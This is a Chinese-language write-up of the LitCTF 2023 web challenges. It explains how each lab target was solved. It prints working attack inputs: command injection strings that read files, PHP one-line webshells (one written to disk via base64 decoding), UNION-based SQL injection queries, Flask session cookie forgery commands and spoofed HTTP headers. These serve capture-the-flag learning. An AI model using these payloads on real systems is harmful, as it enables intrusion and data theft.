您现在的位置是:首页 >技术交流 >2023年LitCTF web组wp网站首页技术交流
2023年LitCTF web组wp
目录:
1、导弹迷踪
2、1zjs
3、php是世界上最好的语言!!
4、Ping
5、我Flag呢?
6、Follow me and hack me
7、作业管理系统
8、Vim yyds
9、Http pro max plus
10、这是什么?SQL !注一下 !
11、Flag点击就送!
12、就当无事发生
13、彩蛋
一、导弹迷踪:
先看题目描述,飞过6关就能获得flag。打开环境,发现是个小游戏。
此时你可以老老实实的玩完6关,也能拿到flag,不过没必要。
先F12看看代码,除了一堆引用之外没什么有用的。
猜一下flag会在哪里?先看game.js吧,没有就去main.js。
打开不出意外是超级多的代码,复制到记事本里面搜索关键字
CTF
FLAG
F|L|A|G
C|T|F
f1ag #注意是1不是l
找到了:
顺便注意一下提交格式NSSCTF{}
二、1zjs:
提示了是js(?)文件,打开环境,是个大魔方,比赛太累了可以来玩(不是),还原键用不了,不过跟题没关系。
看看html,找到了一个:
怪不得题目描述有个“?”,不过应该就是这个文件(找不到就再试试呗)
同样查找
CTF
FLAG
F|L|A|G
C|T|F
f1ag #注意是1不是l
找到一个
很明显是要访问这个文件
打开之后是js表达式
那就输出一下看看结果:
console.log(把那一堆复制进来);
结果
三、PHP是世界上最好的语言!!
看看题目描述,php小工具,flag位于根目录
打开环境,能运行代码
先写个echo("1");
输出1。那这个题就很好办了,直接根据提示打印根目录即可:
system('cat /*');
得到flag
四、Ping
简单易懂的描述,ping就完事了
先来个127.0.0.1
试一下127.0.0.1;ls
被拦了
看下代码是正则waf,不会绕过
function check_ip(){
let ip = document.getElementById('command').value;
let re = /^(25[0-5]|2[0-4]d|[0-1]d{2}|[1-9]?d).(25[0-5]|2[0-4]d|[0-1]d{2}|[1-9]?d).(25[0-5]|2[0-4]d|[0-1]d{2}|[1-9]?d).(25[0-5]|2[0-4]d|[0-1]d{2}|[1-9]?d)$/;
if(re.test(ip.trim())){
return true;
}
alert('敢于尝试已经是很厉害了,如果是这样的话,就只能输入ip哦');
return false;
}
那就bp抓包修改参数,数据包是这样的
修改command参数即可
127.0.0.1;ls
木有,那就向上找,直到找到有用的
127.0.0.1;ls ..
127.0.0.1;ls ../..
127.0.0.1;ls ../../..
终于找到了,接下来打开
127.0.0.1;cat ../../../flag
得到flag
五、我Flag呢?
很简单的一道题,但是比赛的时候打不开网页(淦)
F12直接出来flag
不过别着急直接提交,点一下控制台能找到彩蛋
运行giveMeEgg()获得彩蛋
六、Follow me and hack me
没提示,直接点开环境(我打不开环境,也不知道怎么了,就不配网站的图了)
要求同时用GET上传CTF=Lit2023以及POST上传Challenge=i'm_c0m1ng
选择用hackbar或者bp都可以,bp的话就先在GET后面写个/?Challenge=i'm_c0m1ng,然后右键change request method就能转换为POST了,再在POST/后面接个?CTF=Lit2023就行了
POST /?CTF=Lit2023 HTTP/1.1
Host: node6.anna.nssctf.cn:28285
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: http://node6.anna.nssctf.cn:28285
Connection: close
Referer: http://node6.anna.nssctf.cn:28285/?CTF=Lit2023
Upgrade-Insecure-Requests: 1
Challenge=i'm_c0m1ng
然后就能拿到flag了,并提示根目录有好康的,dirsearch扫描,找到一个www.zip,访问下载下来一个php文件,是第三个彩蛋。
<?php
// 第三个彩蛋!(看过头号玩家么?)
// _R3ady_Pl4yer_000ne_ (3/?)
?>
七、作业管理系统
点进去就要登录,不过f12提示账号密码都是admin。
进入之后就是个普通的后台管理系统
看见上传文件 ,没要求格式,html也没看见前端过滤,那就直接上传一句话木马
<?php @eval($_POST["pass"]);?>
上传成功,应该是本目录下,蚁剑链接
找到flag
别急着走,远程下载这里有个链接
第二个彩蛋
八、Vim yyds
提示是vim泄露
vim是linux自带且常用的文件编辑器,vim在编辑时会生成一个隐藏的临时文件,当vim非正常关闭时这个文件就会被保留下来。 使用vim时意外退出,会在目录下生成一个备份文件,格式为 .文件名.swp,访问.index.php.swp可以下载备份文件。第一次产生的缓存文件后缀为.swp,第二次则产生的缓存文件后缀为.swo,第三次产生的缓存文件后缀为.swn
访问 .index.php.swp可以下载一个index.php.swp的文件,打开是乱码,用vim自带的恢复指令回复这个文件(可以用Linux虚拟机,自带vim)
vim -r .index.php.swp
恢复之后是这样的
提示当POST一个base64加密前是Give_Me_Your_Flag的password就会满足if语句,然后就可以使用eval,那就加密
POST一个
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag
或者你可以写入一个webshell
贴一下官方题解:
<?php eval($_POST[cc]);?>
PD9waHAgZXZhbCgkX1BPU1RbY2NdKTs/Pg==
echo "PD9waHAgZXZhbCgkX1BPU1RbY2NdKTs/Pg==" | base64 -d >cc.php
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=echo "PD9waHAgZXZhbCgkX1BPU1RbY2NdKTs/Pg==" | base64 -d >cc.php
或者传个马,随便了
获得flag
九、Http pro max plus
描述是”怎么还有一层“,感觉应该是有多层限制。
第一层:
大部分人第一时间都会想到是x-forwarded-for:127.0.0.1 但是这题不行,只会被嘲讽:
其实还有个client-ip:127.0.0.1 修改请求头就进入了下一层。
第二层:
浅显易懂,要从教育网站P管来才行(大雾)
Referer:pornhub.com 即可
第三层:
修改User-Agent为Chrome就行,其他全删掉
第四层:
要代理,不过也不是这让你去搞个代理,使用Via这个请求头,Via:Clash.win
via是http协议里面的一个header,记录了一次http请求所经过的代理和网关,经过1个代理服务器,就添加一个代理服务器的信息
可算是过来了:
到了这里
除了涩涩就是涩涩,白高兴了(不是),f12可以找到真正的地址:
至圣真理啊(啊不),进入之后获得flag(就这?)
十、这是什么?SQL !注一下 !
看描述应该很多过滤手段,结果是我想多了。
输入1,有结果:
输入1’可以看见报错了,0 results。并且可以看见6个括号包着,要闭合这6个(裹得好严实)
1))))))order by 1,2,3#
报错,0 results,去掉一个3,有结果,所以注入点在1,2。先爆库:
-1))))))union select 1,group_concat(schema_name) from information_schema.schemata#
结果:information_schema,mysql,ctftraining,performance_schema,test,ctf
有两个,先看看ctf库,爆表,表名为users:
-1))))))union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctf'#
爆列:
-1))))))union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()#
有 id,username,password
分别看看username和password:
-1))))))union select 1,password from users#
username:Array ( [0] => Array ( [username] => 1 [password] => tanji ) [1] => Array ( [username] => 1 [password] => fake_flag ) )
password:Array ( [0] => Array ( [username] => 1 [password] => OHHHHHHH ) [1] => Array ( [username] => 1 [password] => F1rst_to_Th3_eggggggggg!} (4/4) ) )
是fake_flag,但是形式和彩蛋一致,记下来
这个数据库看完了,没有flag,去ctftraining数据库,重复的我就不写了:
得到 flag,news,users 那就去flag表
-1))))))union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctftraining'#
得到flag,id,title,content,time,id,username,password,ip,time
接下来去拿flag:
-1))))))union select 1,flag from ctftraining.flag#
得到:
十一、Flag点击就送!
需要管理员才能获得flag,不过输入admin登录被嘲讽
随便输入一个a,拦截数据包,找到cookie
可以看见一个session,应该是flask session伪造
盲猜一下加密密钥是LitCTF,使用flask-session加解密工具
贴一下网址:GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder
脚本使用方法
解密:python flask_session_cookie_manager3.py decode -s “secret_key” -c “需要解密的session值”
加密:python flask_session_cookie_manager3.py encode -s “secret_key” -t “需要加密的session值”
python flask_session_cookie_manager3.py decode -s LitCTF -c eyJuYW1lIjoiYSJ9.ZGSW6w.Vmfq-0gMExPk3qxMtzdRdObqtq0
python flask_session_cookie_manager3.py encode -s LitCTF -t {'name':'admin'}
得到伪造的session就可以修改cookie发过去了,获得flag。
十二、就当无事发生
没有环境,就给了个网址,探姬的博客主页
打开之后第一个文章是这个:
一堆废话文学:
有个评论框,猜测是xss攻击:
可以看见下面全是在尝试的:
不过试了之后没什么用,那就换个思路,看看f12,但是也没找到有用的信息。
观察一下最开始给的网址,可以发现是托管在github上的
去探姬github主页康康:
(现在找不到ProbiusOfficial.github.io
了,所以就不贴图了,总之点进去)
点进去,找到index.php的331行,得到flag。
十三、彩蛋
看提示:
彩蛋分布于 我Flag呢 Follow me and hack me 作业管理系统 狠狠的注入 四个题目 中
刚刚已经全部找到了,分别是:
LitCTF{First_t0_The_k3y! (1/?)
_S0_ne3t? (2/?)
R3ady_Pl4yer_000ne (3/?)
F1rst_to_Th3_eggggggggg!}
拼起来提交即可(删掉括号)